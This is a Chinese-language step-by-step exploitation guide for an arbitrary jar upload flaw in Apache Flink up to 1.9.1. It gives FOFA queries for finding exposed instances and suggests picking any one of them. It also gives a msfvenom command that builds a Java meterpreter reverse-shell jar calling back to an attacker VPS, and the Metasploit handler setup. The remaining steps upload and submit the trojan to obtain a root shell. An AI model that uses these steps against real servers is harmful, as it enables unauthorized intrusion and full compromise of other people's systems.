Apache Flink 任意jar文件上传+执行

01 描述

通过部署任意jar包的功能可直接向服务器添加jar木马文件

02 影响范围

<= 1.9.1

03 fofa语法

app="Apache-Flink"
app="Apache‐Flink" && country="CN"

04 漏洞复现

1.fofa搜索关键字，随便找一个点进去，选择最下方的Submit New Job

2.使用msf生成jar格式木马，LHOST为公网VPS地址

msfvenom ‐p java/meterpreter/reverse_tcp LHOST=**.***.***.**  LPORT=44445 ‐f jar > 44445.jar

3. 公网开启msf监听
启动msf框架

msfconsole

选择handler模块

use exploit/multi/handler 

设置监听的ip和端口（和生成的木马相对应） (代码中0.0.0.0表示监听所有流向44445端口的流量) *注意payload不要选错哦

set lhost 0.0.0.0
set lport 44445
set payload java/meterpreter/reverse_tcp

run或exploit开启监听

到此为止关于公网vps监听就已经设置好了，等待上传shell jar文件的连接就好了
4.在apache flink中选择Add New，选择木马jar文件上传

5.点击刚刚上传的木马文件

6.选择submit

7.这时候在返回公网vps发现已经接收到了反弹的meterpreter shell了，getuid查看权限为root权限

友情提示，小伙伴们复现完之后记得清理一下文件哦